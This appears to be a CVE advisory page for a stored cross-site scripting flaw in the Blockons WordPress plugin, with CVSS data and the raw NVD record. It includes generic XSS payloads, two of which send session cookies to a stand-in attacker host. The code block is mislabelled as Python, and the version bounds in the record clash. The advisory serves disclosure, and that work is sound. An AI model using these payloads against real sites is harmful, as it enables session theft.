CVE-2026-24550

Description

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Kaira Blockons blockons allows Stored XSS.This issue affects Blockons: from n/a through <= 1.2.19.

CVSS Details

CVSS Score

6.5

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

Blockons <= 1.2.19

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- CVE-2026-24550 PoC - Stored XSS in Kaira Blockons Plugin -->
<!-- Payload can be injected through plugin's input fields -->

<!-- Basic XSS payload -->
<script>alert(document.cookie)</script>

<!-- Event handler based XSS -->
<img src=x onerror=alert('XSS')>

<!-- Steal cookies -->
<script>
document.write('<img src="https://attacker.com/steal?c='+document.cookie+'"/>');
</script>

<!-- Session hijacking -->
<script>
fetch('https://attacker.com/api/log?data='+btoa(document.cookie));
</script>

<!-- Stored XSS via plugin block -->
<!-- Inject this payload in blockons block content field -->
<div onmouseover="alert('XSS')">Malicious Content</div>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-24550
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-24550
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-24550/
[4] VulDB https://vuldb.com/cve/CVE-2026-24550
[5] https://patchstack.com/database/Wordpress/Plugin/blockons/vulnerability/wordpress-blockons-plugin-1-2-15-cross-site-scripting-xss-vulnerability?_s_id=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-24550", "sourceIdentifier": "[email protected]", "published": "2026-01-23T15:16:11.547", "lastModified": "2026-04-28T15:16:13.130", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Kaira Blockons blockons allows Stored XSS.This issue affects Blockons: from n/a through <= 1.2.19."}, {"lang": "es", "value": "Neutralización Incorrecta de la Entrada Durante la Generación de Páginas Web ('cross-site scripting') en Kaira Blockons blockons permite XSS Almacenado. Este problema afecta a Blockons: desde n/a hasta <= 1.2.15."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.3, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/blockons/vulnerability/wordpress-blockons-plugin-1-2-15-cross-site-scripting-xss-vulnerability?_s_id=cve", "source": "[email protected]"}]}}